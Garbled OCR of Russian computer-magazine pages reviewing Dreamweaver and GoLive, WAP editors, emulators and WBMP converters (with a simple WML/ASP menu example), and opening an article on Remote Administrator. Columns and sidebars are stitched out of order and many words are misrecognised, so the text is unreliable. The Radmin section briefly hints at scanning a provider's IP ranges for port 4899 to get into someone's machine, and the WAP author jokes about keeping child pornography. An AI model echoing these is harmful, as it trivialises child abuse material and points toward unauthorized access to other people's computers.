пользоваться поиском. Поиск в 
дриме - это достаточно мощный 
инструмент, позволяющий искать 
в тексте документов, в коде доку- 
ментов, искать конкретные теги, 
искать в текущем документе, во 
всем сайте, в папке, в выделен- 
ной части сайта. Более того, nog- 
держиваются регулярные выра- 
жения, так что найти и заменить 
можно все, что угодно. Только ты 
поосторожнее с ними, а то мо- 
жешь потом долго приводить па- 
гу в исходное состояние :). 
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Надеюсь, что ты уже выбрал, 
как ты будешь размещать контент 
на странице. Фреймы сразу от- 
правляем на свалку истории: в 
дриме есть очень удобные ин- 
струменты для верстки с помо- 
щью таблиц. На закладке Layout 
панели инструментов есть две 
кнопки: «Standart view» и «Layout 
view». Это режимы отображения: 
нормальный и для верстки. Пере- 
ходишь в режим верстки и рису- 
ешь таблицу и ячейки с помощью 
инструментов на этой же заклад- 
ке. Кстати, верстать страницы 
можно не только таблицами. Есть 


ся использовать Fireworks (не за- 
мена фотошопу, но заточен под 
веб-грасфику и достаточно функ- 
ционален), а в качестве векторно- 
го редактора - Freehand. Ну а в ка- 
честве языка приложений - Cold- 
Fusion. Это очень интересная тех- 
нология, достойная отдельной 
статьи, но как-нибудь в другой раз 
:). При экспорте объектов (можно 
просто перетащить мышкой) будут 
устанавливаться связи между 
приложениями. Все изменения, 
сделанные в одном редакторе бу- 
дут видны и при открытии в gpy- 
гом. Более того, по двойному кли- 


Давай проверим, действительно ли наши два лидера одинаково хо- 
рошо справляются со своей работой. Для этого я провел неболь- 
шой тест: создал в Dreamweaver и в GoLive две небольшие стра- 
нички, в которые запихнул таблицу, пару списков, несколько изоб- 
ражений, флэшку. Ко всему тексту применил пару стилей и раски- 
дал содержимое по таблице в лихорадочном порядке. В дриме я ис- 
пользовал для рисования таблицы режим Layout view, в GoLive я 
использовал его фирменную Layout grid. Размеры получившихся 
файлов меня слегка удивили: файл, сделанный в Дриме весил 3,31 
кб, а файл, сделанный в GoLive - 8,41 кб. Я вначале погрешил Ha 
Layout grid и его специальные теги и попробовал конвертировать 
его в обычную таблицу. Результат - 13,9 кб. Вот так сюрприз :). 

Ну да ладно, проверим, как оно все отображается в браузерах. В 
ослике (шестом) все отображалось идеально, независимо от редак- 
тора. В опере также независимо от редактора :) были небольшие 
глюки с размером ячеек. В Mozilla неправильно отображалась таб- 
лица, сделанная в GoLive. Итак, первый раунд остается за 
Dreamweaver, причем он победил с большим отрывом. 

Я решил дать GoLive второй шанс и сделал похожие паги, только 


для верстки использовал слои. Был неприятно удивлен невозмож- 
ностью конвертировать таблицу в слои в GoLive (обратно конверти- 
ровать можно). Результаты получились почти одинаковые: 6,11 кб у 
Дрима и 6,13 кб у GoLive. Проверим получившееся в браузере. Глю- 
ки были везде, даже в ишаке :). Однако самые большие глюки с 
отображением были у Mozilla c пагой, сделанной в GoLive. Вина ли 
это самой Мозилки (кстати, совершенно не понимаю, почему ее так 
хвалят) или редактора - не знаю, но факт налицо. 

Итак, в тесте победил Macromedia Dreamweaver, который показал 
отсутствие лишнего кода, хорошую совместимость с браузерами, и 
что важно, более легкий и удобный интерфейс. Рекомендую всем! 


еще такая интересная вещь, как 
слои. Тут полная аналогия с гра- 
фическими редакторами: слои 
располагаются независимо, могут 
накладываться, перекрываться. 
Слои можно делать невидимыми, 
применять к ним скрипты, анима- 
цию. В коде это отражается тегом 
DIV. К сожалению, слои могут не- 
корректно отображаться в старых 
браузерах (да и в новых тоже, а 
все потому, что некоторым компа- 
ниям плевать на WSC и их стан- 
дарты). Если у тебя возникнет та- 
кая проблема - слои всегда мож- 
но конвертировать в таблицы. 
Правда о перекрытии, анимации и 
прочем можно забыть :(. 

Ну что, с версткой ты определил- 
ся, теперь займемся контентом. 
Очень приятная фишка дрима - 
это интеграция с другими продук- 
тами линейки МХ. Прежде всего, 
это конечно флэш. В качестве гра- 
фического редактора предлагает- 


ку в дриме будет вызываться со- 
ответствующий редактор. Это от- 
крывает очень широкие возмож- 
ности - вроде быстрой вставки 
флэшевых кнопок или автомати- 
ческого создания таблицы под на- 
резанную картинку. Если же тебе 
вдруг не хватит возможностей 
дрима - топай на сайт Macromedia 
Exchange (www.macrome- 
dia.com/exchange, очень стильный 
флэшовый сайт) и выбирай плаги- 
ны по вкусу. Если же захочешь 
создать что-нибудь сам - читай 
xenny «Extending Dreaweaver MX», 
скачай пару примеров с сайта. Но 
сначала все же взгляни на гото- 
вые решения - их очень много. 


ДОБАВЬ ЖИЗНИ В ПАГУ. 
АЛЬТЕРНАТИВА ОТ ADOBE. 
Adobe уже давно конкурирует с 
Macromedia на всех фронтах. 
Борьба тут идет с переменным ус- 
пехом: Livemotion не заменит 


флэш, a Fireworks не заменит 
фотошоп. С веб-редакторами си- 
туация примерно ровная. Рассмо- 
трим Adobe GoLive поближе. 
После насыщенного интерфейса 
дрима GoLive кажется простым, 
однако по функциям он ничуть не 
уступает дриму, а кое в чем пре- 
восходит. Я бы назвал интерфейс 
GoLive более упорядоченным: не 
так много вариантов, зато и не ря- 
бит в глазах. А вот хелпы совер- 
шенно невнятные: вместо нор- 
мального chm просто куча стра- 
ниц, никакой контекстной помощи, 


таблиц (хотя тебе никто не меша- 
ет верстать с его помощью, про- 
сто это не так удобно). Ты просто 
кидаешь Layout grid на nary, а по- 
том кидаешь на нее объекты. 
Ячейки создаются автоматически, 
причем обещается расположение 
с точностью go пикселя. На прак- 
тике же все немного хуже: для 
создания таких таблиц использу- 
ются специфические теги, в ре- 
зультате чего пага может некор- 
ректно отображаться в старых 
браузерах. Выход достаточно 
прост - layout grid можно конвер- 
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Golive. Конкуренты из Adobe не дремлют 


никаких справочников. Так что ос- 
новной метод обучения - метод 
научного тыка, как обычно :). В pe- 
зультате один из первых вопро- 
сов - как включить русские коди- 
ровки. Чтобы ты не лазил час по 
менюшкам, рассказываю: Edit>Pre- 
ference, там находишь пункт Мо- 
dules, а в нем ставишь галку Ha- 
против модуля Encodings (можешь 
полазить еще - там много полез- 
ных модулей) и перезапускаешь 
GoLive. Потом заходишь опять в 
Preference, в пункт Encodings, и 
ставишь нужную кодировку. 

А вот менеджер сайта мне нра- 
вится больше, чем в дриме. В Go- 
Live все объекты сайта рассорти- 
рованы по закладкам, легче найти 
нужное. Также реализовано изме- 
нение структуры сайта: ты меня- 
ешь, все ссылки обновляются. 
Для забывчивых есть очень похо- 
жий механизм поиска с той разни- 
цей, что регулярные выражения 
можно подставлять в строку по- 
иска из меню с шаблонами. А вот 
для верстки GoLive предлагает 
несколько другой поход. Здесь то- 
же есть слои, только называются 
они Floating boxes. Но основной 
акцент делается не на них, а на 
фишку под названием Layout 
grid. Технически это обычная та- 
блица, но с автоматически добав- 
ляемыми ячейками. Инструмент 
table здесь используется не для 
верстки, а для создания обычных 
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Сайт Adobe Xchange 


тировать в обычную таблицу (со- 
ветую так всегда и делать). Обла- 
дая таким мощным графическим 
редактором, Adobe не могла не 
включить интеграцию своих про- 
дуктов с GoLive. В результате 
имеем технологию Smart objects, 
позволяющую устанавливать 
связь между объектом в GoLive и 
Photoshop, Illustator, LiveMotion и 
другими. Аналогия с Макромедией 
почти полная, за исключением то- 
го, что эту связь нельзя отклю- 
чить, а иногда это бывает нужно. 
Кстати, в GoLive есть такая любо- 
пытная фишка, как написание 
сайтов для Wap. Поддерживаются 
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два формата: CHTML (в хелпе Ha- 
писано, что этот формат популя- 
рен в Японии :)) и более привы- 
чный WML. На лицензионном дис- 
ке также находится эмулятор 
Wap, но я полагаю, что ты смо- 
жешь найти его где-нибудь еще :). 
А еще имеется плагин для редак- 
тирования и размещения на паге 
QuickTime мувиков. Никогда не 
хотел забацать на сайте потоко- 
вое видео? У тебя есть такая воз- 
можность. Естественно, возмож- 
ности GOLive можно расширить с 
помощью дополнений, для чего 
существует сайт Adobe Xchange 
(www.adobexchange.com), на кото- 
ром можно найти кучу дополне- 
ний для всех продуктов Adobe. 


CHOOSE LIFE 

Пришло время подвести итог. Ka- 
кую же прогу выбрать? Frontpage 
убираем сразу. Ему дорога к дру- 
гим мертворожденным редакто- 
рам вроде NetFusion или СоНее- 
Сир. Реально существует всего 
два многофункциональных визу- 
альных веб-редактора, не уда- 
рившихся в украшательство и 
клонирование шаблонов. Все 
остальные визуальные веб-ре- 
дакторы - это инструменты для 
начинающих, и для серьезной ра- 
боты не годятся. Я лично выбрал 
Dreaweaver. В основном потому, 
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что люблю флэш и совершенно 
не умею работать в Photoshop 
(ламобот :) - прим. peg.), так что 
возможностей Fireworks мне хва- 
тает за глаза. Да и интерфейс 
мне нравится больше :). Если же 
ты гуру фотошопа - флаг тебе в 
руки, обрисовывай весь дизайн в 
нем и переноси в GoLive. На се- 
годняшней ступени развития этих 
продуктов других причин для 
смены предпочтений я не вижу. 
Что будет потом - посмотрим. Мне 
почему-то кажется, что Масготе- 
Ча выиграет гонку. Поспорим? :). 
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На этом 
жажда объе- 
динения у 
Макромедии 
не закончи- 
лась :). Уже 
распростра- 
няется пакет 
Studio МХ, в 
который вхо- 
дит вся ли- 
нейка МХ: 
Огеатмеауег, 
Fireworks, 
Flash, Fre- 
ehand и дру- 
гие. 
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ВЕБ-ТУЛЗЫ 


|| Даже самый 

кул веб-кодер 
не сможет 
набить WAP- 
сайт на мо- 
билке. Причи- 
на сего - де- 
сять тексто- 
вых кнопок 
на телефоне 
и экранчик в 
две сопли 
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http://middlenight.h10.ru) 


что бы там ни гово- 
рили, на первое ме- 
сто он выйдет еще 
очень и очень не скоро. В компе 
у меня и Макс с примочками, и Vi- 
sual С++ от дяди Гейтса. Про rura- 
зы детской порнухи на винте яи 
не говорю - куда там мобильнику 
go старшего брата. Но! С тех пор, 
как в парафоны (сотовые теле- 
фоны - евр.) стали зашивать He- 
кое подобие браузера, количе- 
ство времени, проведенного за 
компом, Y многих пиплов стало 
заметно сокращаться. И это, ра- 
зумеется, есть гут! Я очень силь- 
но надеюсь, что когда-нибудь мо- 
била станет полноценной заме- 
ной компешного терминала как 
по скорости соединения, так и по 
наполнению сайтов. Впрочем, 
второй пункт можно претворять в 
жизнь уже сейчас, и не как-ни- 
будь, а заюзав вышеупомянутого 
старшего брата. 


0 МОЩАХ И НЕМОЩАХ 

Для начала разберемся, как вооб- 
ще маленькая мобилка может со- 
вокупляться с Сетью. Собственно, 
принцип все тот же: мобила посы- 
лает сигнал на сервак, сервак - на 
мобилу. Браузер телефона npeg- 
ставляет полученную инфу на 
дисплей. Вот, собственно, и все. 
Почти. За кадром остались только 
некоторые физические ограниче- 
ния этого способа коннекта, вро- 
де тех, что по WAP'y много инфы 
не передашь (9600 kb/s макси- 
мум), а на экранчике парафона 
много не увидишь. Да, иеще Og- 
но: цепочка "мобила - сервак на 
самом деле выглядит как "мобила 
- ММАР-сервер - IP-cepBep”. WAP 
(Wireless Application Protocol) - 
протокол, предназначенный для 
оптимизации инфы под примитив- 
ные возможности сотовых теле- 
фонов. Для работы с ним нужен 
WAP-Opay3ep. Здесь, слава яйцам, 
конкуренции нет никакой - полная 
аналогия с маковскими оськами, 
различающимися только по номе- 
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"Enter pin code” 


\АРЕРАЦИЯ 


"КОМП ИЛИ КИПЯЧЕНИЕ?" 


В задницу! (три раза)... 


Только $05"... Ах, ты, сволочь, отсос тебе 


еще сделать, да?.. "Аккумулятор разряжен"... Удавлю, шляпа!!! Я ненавижу свой 


мобильник. ОН жрет МОЮ энергию, он облучает мое тело, он жует мои нервы, короче, 
занимает второе почетное место среди предметов моей первой необходимости после 


ру - 1.1, 1.2, 2.0 и т.д. Разумеется, 
такой браузер должен восприни- 
мать какой-то язык разметки, ко- 
торым в данном случае является 
WML - некое ответвление от XML. 
Не надо, впрочем, думать, что 
твой телефоша не способен ни на 
что, кроме как трансляцию гипер- 
текста. В мобильном Интернете 
все, или почти все, такое же, как и 
в большом: картинки, динамика, 
скрипты. Не веришь? Ну, вот тебе, 
пожалуйста, пример: видел, не- 
бось, на мобильных сайтах меню- 
хи с выбором разделов ресурса? 
Делается это на раз-два. На "раз" 
пишется \\/МЕ-ная часть Naru: 
<wml> 

<card id="Order” title="Query Inventory"> 
<p> 

<select name="Items" title="Items"> 

<option value="Books">Books</option> 
<option value="Music">Music</option> 
<option value="Video">Video</option> 
<option value="Software”>Software</option> 
</select> 

</p> 

<do type="accept” label="Query"> 

<go href="http://127.0.0.1/WML/Invento- 
ry.asp” method="post"> 

<postfield name="Items” value="S(Items)"/> 
</go> 

</do> 


</card> 
</wmb> 

На "два" - скриптовая часть. В 
данном случае это асповый "In- 
уетщогу.азр": 
<% 
Dim Body 
If Request.Form("Items") = “Books” Then 
Body = "You selected Books!” 
Elself Request.Form("Items”) = "Video" Then 
Body = "You selected Video!” 
Elself Request.Form("Items”) = “Software” 
р 
В 


ody = "You selected Software!” 

self Request.Form("Items") = “Music” Then 
Body = "You selected Music!” 

End If 

Response.ContentType = 
“text/vnd.wap.wm|"%> 

<?xml version='1.0'?> 

<IDOCTYPE wml PUBLIC "-//WAPFORUM//DTD 
WML 1.1//EN" “http://www.wapfo- 
rum.org/DTD/wml_1.1.xml"> 

<wml> 

<card> 

<p> 

<%Response.write(Body)%> 

</p> 

</card> 

«мт 


m 


Думаю, что код понятен: юзверь 
делает через формуляр запрос, 


который летит на сервак и там 
обрабатывается. После необходи- 
мых вычислений обратно на мо- 
билку летит ответ на запрос. Ну и 
все, дело в шляпе :). 


10 КНОПОК ДЛЯ КОДЕРА 

Ну и раз в мобильном Инете не 
все так безнадежно, как может 
показаться на первый взгляд, 
то настоящим кул-веб-дезигне- 
рам просто грех не проявлять 
здесь свои недюжинные талан- 
ты. Одно только "но": даже са- 
мый сега-мега-кул (в периоде) 
веб-кодер вряд ли сможет на- 
бить \/АР-сайт на мобилке. При- 
чины сего - десять текстовых 
кнопок на телефоне и экранчик 
в две сопли. Тута, как ни крути, 
придется запрягать компешник 
и кодить, загрузившись предва- 
рительно необходимым для 
ВАП-а софтом. О нем и пойдет 
речь. 


Х-ЭМУЛИ 

Итак, что нам нужно для замута 
стоящего ВАП-портала. Намбер 
раз - это ВАП-редактор. Точно 
так же, как и для обычных сай- 
тов, здесь многое упирается в 
личные привязанности. Я, на- 
пример, как всю жизнь набивал 
страницы под виндами в блок- 
ноте, а под Линухом в Емаксе, 
так и буду набивать, и поло- 
жить мне, что это не есть кру- 
то. Главное, что мне удобно. 
Если же ты чел более прогрес- 
сивный, то тебе понадобятся 
специализированные редакто- 
ры. Их, на самом деле, не так 
уж много, но они все же есть. 
Намбер два - это ВАП-эмулятор. 
Согласись, как-то глупо ваять 
сайты вслепую. Вап-эмулятор 
это, как правило, прога, позво- 
ляющая увидеть, как твой про- 
ект будет выглядеть на экран- 
чиках разных моделей сотовых 
телефонов. Вообще, сейчас для 
многих телефонов производи- 
тели стали делать свои соб- 
ственные эмуляторы, но, на мой 
взгляд, лучше обзавестись 
универсальным эмулятором с 
возможностью просмотра нес- 
кольких видов дисплеев, дабы 
оптимально подгонять свой 
сайт под телефоны разных про- 
изводителей. Ну и, наконец, 
намбер три для любителей... 
339... всяких там взрослых раз- 
влечений :) - конвертор карти- 
нок из компешных форматов в 
ВАП-овый WBMP. Вот этих-то 
дурилок картонных как раз ж... 
жадницей жуй :) - валяются на 
каждом углу, так что есть из 
чего выбрать. Итак, предлагаю 
пробежаться трусцой по нес- 
кольким представителям каж- 
goro вида вышеперечисленных 
прог. 


ЭДИТОР ПЬЕХОВ 

Итак, первыми на повестке дня у 
нас значатся \\/МЕ-редакторы - с 
них и начнем. Первого нашего па- 
циента зовут Во МАР 
(http://www.tagtag.com/). Как это 
часто бывает, если прога фри- 
варная, да еще и буржуинская, то 
вряд пи она представляет собой 
что-то серьезное. Так и в этот 
раз. Если приводить аналогии с 
НТМЕ-редакторами, то по своей 
функциональности DOTWap бу- 
дет сравним с Microsoft Word-om. 
То есть в нем нет ничего, кроме 
возможности визуального клепа- 
ния сайта. Интерфейс проги по- 
хож на файловый менеджер: сле- 
ва корень проекта, справа два, в 
лучшем случае три поля для на- 
бивания текста, адреса ссылки 
или вклеивания картинки. Еще 
одна аналогия - окно Flash ac- 
tions в неэкспертном режиме. 
Только здесь нет абсолютно ни- 
какой возможности писать UCXOg- 
ный код проекта: это касается и 
\/МЕ-тегов, и тем более скриптов. 
Есть возможность публикации 
сайта на сервере, но я, честно го- 
воря, постеснялся бы публико- 
вать получившийся таким обра- 
зом сайт. Хотя ладно, чего это я 


все ругаю да ругаю, можно ведь 
и пару хвалебных слов сказать, 
например, о том, что в эдитор 


встроен целый ВАП-эмулятор. 
Правда, его качество - это от- 
дельный разговор: весь прикол в 
том, что он показывает не полу- 
чившуюся \\/МЕ-страничку - здесь 
их можно только сохранять, - а 
некий html-pecypc на основе за- 
битых данных. Телефоша, на дис- 
плее которого все это отобража- 
ется, представляет собой открыто 
лежащую в папке с прогой поло- 
винку фотки какого-то Эриксона. 
Если хочешь приколоться, то 
вставь в проект картинку поздо- 
ровее и смело публикуй: забитый 
посредством все того же ХМЕ-я 
"эмулятор" обязательно выдаст 
на голубеньком экранчике какой- 
нибудь с бодуна взятый кусок 
пикчи во всем многоцветии. Кон- 
вертировать же картинки в WBMP 


посредством DOTWap-a лучше не 
надо - темнотень получится, хоть 
глаз выколи. Одним словом, хал- 
тура. Даже хелпа нет. Да и к че- 

му он здесь? Вряд ли кто захочет 
с этой прогой связываться. 


Если хочется чего-то более 
функционального, чем предыду- 
щий пациент, то вполне может 
пригодиться прога под названием 
WAPDrive WAPtor (http://wap-navi- 
gator.narod.ru/Download/wd-wap- 
tor23.exe). Вот здесь-то, пожалуй, 
есть где развернуться. Больше 
всего прога напоминает мой люби- 
мый линуховый Emacs. То есть 
присутствует все, что надо: под- 
светка тегов, комментарии по раз- 
метке карт, система поиска. Ну а 
чтобы не набивать весь код руч- 
ками, есть возможность визуаль- 
ного добавления отдельных тегов: 
таблиц, картинок, кнопок - в об- 


щем, почти всего, что поддержи- 
вает спецификация WML. Очень 
приятно, что в новый проект сразу 
вписываются основные теги типа 
<?xml version> и первая карточка 
(страница). Также не могу не отме- 
тить очень удобную систему помо- 
щи - все, что нужно, и ничего лиш- 
него. Единственное, чего нет в 
ВАП-драйве, так это возможности 
контролировать вписываемые в 
проект скрипты, хотя большим ми- 
нусом я это не считаю, так как 
прога изначально базируется как 
WML-pegaktop. По этой же причи- 
не не следует искать здесь ВАП- 
эмулятор. Итого в сухом остатке 
имеем очень хорошую, удобную и 
бесплатную (!!!) прогу для написа- 
ния кода даже теми, кто этого са- 
мого кода не знает. 


Ну и под конец неплохой, хотя и 
очень странный, на мой взгляд, 
редактор - SantanaBuilder for WAP 
(www.inetis.com). Все, конечно бу- 
дут смеяться, когда я дам вторую 
ссылку на Сантану, но это все тот 
же www.tagtag.com - отец первого 
нежизнеспособного персонажа в 
обзоре. Ну да не суть, тем более, 
что прога шароварная (для кого- 
то :). Перейдем к самому эдитору. 
Внешним видом go боли напоми- 
нает беднягу ДотВапа - те же ко- 
рень и основное поле, только ико- 
нок побольше, да и формы нес- 
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Вап-эмулятор 
это, как пра- 
вило, прога, 
позволяющая 
увидеть, как 
твой проект 
будет выгля- 
деть на эк- 
ранчиках 
разных моде- 
лей сотовых 
телефонов 
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Для любите- 
лей всяких 
взрослых 
развлечений 
через мобилу 
понадобится 
конвертер 
картинок из 
компешных 
форматов в 
ВАП-овый 
WBMP 


page 


fat ка в* 
— fre BES : 


Г 
=o 


колько изменились. Если копнуть 
глубже, то будет понятно, что, при 
всей оставшейся визуальности 
проги, возможностей прибавилось 
на порядок. Вкратце - это вклеива- 
ние в проект формуляров, баз 
данных и даже скриптов. Скрипты 
можно писать самому, да аж на 
трех языках: Ha acne, php и обыч- 
HOM wml :) (правда, без подсвет- 
ки). Также, не в пример DotWap-y, 
в прогу встроен мощный image-pe- 
дактор с возможностями экспорта, 
scale, инвертирования, изменения 
яркости и контраста картинки 
плюс много чего еще. Эмулятор 
теперь не встроенный, а удален- 
НЫЙ - на сайте tagtag.com, - зато и 
не такое убожество, как был сам 
знаешь где. В общем, при всех 
приятностях программы, остается 
некоторое недоумение: а какого, 
собственно, хера здесь нету ос- 
новной фичи любого уважающе- 
гося себя эдитора, а именно воз- 
можности редактировать код руч- 
ками? Финтифлюшек всяких на- 
лепили, а про главное забыли? 
Ладно, оставим это на совести 
разработчиков. 


КВИНТЭССЕНЦИОНАЛЬНЫЙ 
ЭМУЛЬГАТОР 

Переходим к заменителям. Наде- 
юсь, что переход будет безболез- 
ненным. Первым пропустим впе- 
ред эмулятор WinWap 3 - опыт по- 
казывает, что продукты, маркиро- 
ванные приставочкой Win, лучше 
заценивать первыми, чтобы было 
потом с чем сравнивать :). В этот 
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раз я сделал именно так и не по- 
жалел. Поясню: дело в том, что за- 
каз на статью я получил будучи, 
как бы это сказать, не совсем 
трезвым. Но делать нечего - надо 
писать (во всех смыслах :). Сел я, 
значит, за комп и стал качать 
сосрт. Первым на мой винт пере- 
сел именно WinWap. Запустил я 
его, пропустив объяву о шаровар- 
ности проги, хожу-брожу по мо- 
бильному Инету и со временем по- 
нимаю, что что-то не так. Я очень 


тает только с одним телефоном. 
Ну так вот, ВАП-эмулятор WinWap 
показывает, как будет выглядеть 
сайт мобильного Интернета в |п- 
ternet Explorer-e :). Да-да, со Bce- 
ми его а-ля трехмерными кнопаря- 
ми, выпадающими скролл-меню и 
разноцветными заставками на 63- 
ке. А теперь представь мое со- 
стояние, когда я представлял се- 
бе, как вся эта красота будет вы- 
глядеть на четырехстрочном мо- 
нохромном экранчике моей (и не 
только) мобилки, а потом думал, 
для кого этот эмулятор был сде- 
лан. Для обладателей наладонни- 
ков? Вроде такого там тоже нет. 
Для ВАП-Веб-дезигнеров? Сомне- 
ваюсь - для них как раз важно ви- 
деть, как будет выглядеть резуль- 
тат на мобилке. Для даунов, кото- 
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долго пялился в экран, пытаясь 
понять, что именно, но не мог - на- 
столько основательно были зали- 
ты мозги. Осознание пришло че- 
рез час: когда я понял, в чем дело, 
я стал сильно смеяться. Боже, как 
я ржал! Небо не видело доселе, 
что можно так ржать. Я смотрел 
попеременно то на экран компа, то 
на зажатый в руке старенький 
Эрик и продолжал ржать. Объяс- 
нить? Помнишь, я говорил о том, 
что хороший эмулятор ВАПа дол- 
жен показывать, как будет выгля- 
деть сайт хотя бы на нескольких 
разных телефонах? В отличие от 
плохого эмулятора, который рабо- 


рые предпочитают лазить через 
комп по мобильному, а не по 
обычному и-нету? Да, пожалуй, 
что именно для них :). Обращаюсь 
именно к таким персонажам: сча- 
стья вам, братья наши меньшие :). 
Вдоволь насмеявшись, запуска- 
ем следующую прогу из обзора - 
эмулятор M3Gate (www.m3ga- 
te.com). Этот персонаж уже не Ha- 
столько комичен, как предыду- 
щий товарисч. Интерфейс проги 
очень даже привлекателен - эму- 
лятор выполнен в виде наладон- 
ника типа “Palm” (поддерживают- 
ся и другие скрины) с активными 
кнопками. Отображается все так- 


же довольно пристойно и NpaBgo- 
подобно. В целом, придраться 
можно только к некоему затруд- 
нению при загрузке локальных 
файлов: обзора нет, а если ручка- 
ми набивать, то он не понимает. 
Приходится ассоциировать фай- 
лы с эмулятором. Впрочем, этот 
недостаток я списываю на баги 
бета-версии, тем более, что боль- 
ше в проге придраться не к чему. 


Последним в списке эмуляторов 
я обозначил Wireless Companion 
(www.yourwap.com). Это, на мой 
взгляд, лучший из существую- 
щих на данный момент ВАП-эму- 
ляторов. Обзор ВАП-сайтов go- 
ступен через 4 сотовых телефо- 
на разных фирм: Motorola, Nokia, 
Siemens и Тит Сео (что за 
зверь такой - не знаю; ламерикос, 


зывается 0155есИтаде 
(http://www.neutrinosoft.com). 
Вещь очень занимательная: выда- 
ет на гора кучу картинок с задан- 
ного оригинала. Работать можно в 
двух режимах: пошаговом и в ви- 
зарде. Различаются они mano, по- 
скольку в любом случае итогом 
станет рождение более десятка 
монохромных картинок разной 
степени плотности, контраста и 
так далее. Если что не нравится, 
то к твоим услугам просто дохре- 
нища инструментов и фильтров 
для доработки пикчей. Вывод 
один: ставь себе эту прогу, и боль- 
ше над перегонкой в WBMP замо- 
рачиваться не придется. 


Благополучно пропускаем спе- 
циализированный плагин-конвер- 
тор для пятого Фотожопа 


наверное). Кнопки всех телефо- 
нов активны, но чисто для удоб- 
ства пользователя строка url вы- 
несена отдельно от экрана мо- 
билки. Справа от мобилки нахо- 
дится окно осла, в котором, по 
идее, должна отображаться ос- 
новная страница сервера, содер- 
жащего текущую \/МЕ-страницу, 
но ей можно задавать любой ag- 
рес, даже локальный. Да, кстати, 
06 ослах: локальные файлы от- 
крываются здесь так же хреново, 
как и в M3Gate, хотя если напи- 
сать путь вручную, то объект от- 
кроется. В целом же впечатление 
от проги очень хорошее: удобное 
управление, правильное отобра- 
жение сайтов, и все это абсолют- 
но бесплатно! Как всегда :). 


MIDDLENIGHT IMAGERY 
RESOURCE 

Вот и настало время для обзора 
последней категории прог реаль- 
ных кул-сега-мега-вап-дезигнеров. 
Речь, разумеется, идет о конвер- 
торах картинок. Конвертировать 
будем в WBMP - больше пока не 
предусмотрено, но для мобилки и 
это сойдет. Первый конвертор на- 


(http://www.rcp.co.uk/distributed/) 
- не дурак, небось, разберешься - 
и плавно перетекаем в nocneg- 
нюю прогу из сегодняшнего об- 
зора - Pic2wbmp (http://www.ging- 
co-newmedia.de). Никаких наворо- 
тов: пара флипов (горизонталь- 
ный/вертикальный), дифоузия и 
контраст. И этого, надо сказать, 
хватает, хотя меня лично больше 
всего приколол хелп - более ла- 
KOHUYHOTO... 399... куска... эээ... 
или листка я в этом разделе еще 
не видел. Браво! 


ПОДВЕДЯ... 

Итог №1: как полноценный редак- 
тор, на мой взгляд, заслуживает 
интерес только WapDrive Waptor, 
хотя, определенно, некоторые на- 
вороты Сантаны ему бы не поме- 
шали. В общем, если найдешь где- 
нибудь подобный комбинирован- 
ный агрегат, напиши мне, плиз. 
Итог №2: минута смеха добавляет 
семь минут жизни :), а M3Gate от- 
кровенно рулит. 

Итог №3: не сильно заморачивай- 
ся с картинками - порносервер в 
WBMP все равно не слепишь. 
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ЖУРНАЛ ДЛЯ АКТИВНЫХ 
ПОЛЬЗОВАТЕЛЕЙ МОБИЛЬНЫХ 
ЦИФРОВЫХ УСТРОЙСТВ 


В НОМЕРЕ: 


® Отборные новости 

® Оригинальные тесты 

® Полезные советы по выбору 

® Рекомендации по использованию 


® Каталоги устройств 

® А также: полезные программы, 
обзоры, ноутбуков, цифровых 
фотокамер и многое другое. 


НА ДИСКЕ: 


® Самый нужный софт для Palm, Psion, 
Pocket PC, ноутбуковб цифровых камер 


И СОТОВЫХ телефонов на одном диске 


Журнал "МС" - самый 
технический из популярных 
и самый популярный 

из технических. 


(game), 


ВЕБ-ТУЛЗЫ 


RADMIN КАК ВЕБ-ТУЛЗА 


ИСПОЛЬЗУЕМ REMOTE ADMINISTRATOR 
В МИРНЫХ ЦЕЛЯХ 


„.:РОт@п АКА DOceNT::.. Тема программ для удаленного администрирования неоднократно затрагивалась на 


страницах нашего журнала. Но мы рассказывали тебе, как применить их для 


нападения, вроде легального трояна. Пришло время поговорить о том, для чего 
собственно и были созданы эти проги, а именно - в помощь пользователям и 
администраторам, для удаленного управления серверами и рабочими станциями. 


апример, чтобы сис- 
темный администра- 
тор мог, не поднимая 
лишний раз со стула свою самую 
важную часть тела и не подвергая 
ее излишним колебаниям, испра- 
вить какие-нибудь технические 
проблемы не очень высокой сте- 
пени тяжести (к сожалению, такие 
программы еще не научились про- 
верять кабель на повреждения, 
искать и устранять неисправности 
в железе и выполнять другую ме- 
ханическую работу). А также что- 
бы он смог сделать это и в услови- 
ях своего отсутствия на работе, 
через Интернет. Если ты не админ, 
то можешь найти и другое полез- 
ное применение этой проге - пос- 
тавь ее своей подружке (подруж- 
кам), и когда она позвонит и поп- 
росит помочь исправить ей какой- 
либо глюк или показать куда же 
спряталась какая-нибудь против- 
ная иконка, ты прямо тут же смо- 
жешь ей помочь. А уж какое на 
нее это может произвести впечат- 
ление, когда ты, как бог, на ее гла- 
зах подчинишь ее комп своей 
власти и устранишь все проблемы 
:)! Думаю, она не устоит, чтобы 
позвать тебя к себе и показать 
все это (и не только это) еще раз, 
но уже не удаленно... Только не 
забудь захватить на всякий слу- 
чай файрвол. Резиновый :). 


REMOTE ADMINISTRATOR 

Для примера возьмем довольно 
известную прогу Remote 
Administrator. В первую очередь 
нужно узнать IP-agpec того, кому 
ты решил удаленно помочь. Если 
ты собрался не помогать, а схули- 
ганить, тогда сложней - придется 
просканировать прова (предвари- 
тельно выяснив его айпишники), 
на котором чувак сидит, а затем 


Окно выбора настроек Remote Administrator 
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долго и мучительно сканировать 
полученные айпишники на нали- 
чие 4899 порта. Это порт 
ВАдт'а по умолчанию, если ты 
его не изменил, при установке 
сервера на тачку того чела. 
Remote Administrator, как и все 
подобные проги, состоит из клие- 
нтской и серверной частей. К со- 
жалению, эта прога не позволяет 
ставить только одну из этих час- 
тей. Но ты можешь не запускать 
серверную часть, если тебе этого 
не требуется. Все зависит от 
настроек. С установкой, я наде- 
юсь, никаких проблем не возник- 
нет, только единственный мо- 
мент: если ты собираешься ис- 
пользовать на компе серверную 
часть, то поставь во время уста- 
новки галочку на Install RAdmin 
server as system service, чтобы 
она запускалась вместе с 
Windows, иначе придется запус- 
кать его вручную, также это огра- 
ничит некоторые возможности. 
Соответственно, если нужно ис- 
пользовать ее только как клиен- 
та - не ставь галку. Все это можно 
сделать и позднее в Settings for 
Remote Administrator server. 


CEPBAYOK 

После установки нужно настроить 
серверную часть. Зайди в Settings 
for Remote Administrator server. 
Там ты увидишь несколько KHO- 
nok. Install Service и Remove serv- 
ice - делают Kak раз то же, что и 
та галка при установке. Options 
позволяет задавать более тонкие 
настройки. О них поговорим под- 
робнее. 1Р-фильтр - это что-то 
вроде файрволла. Он позволяет 
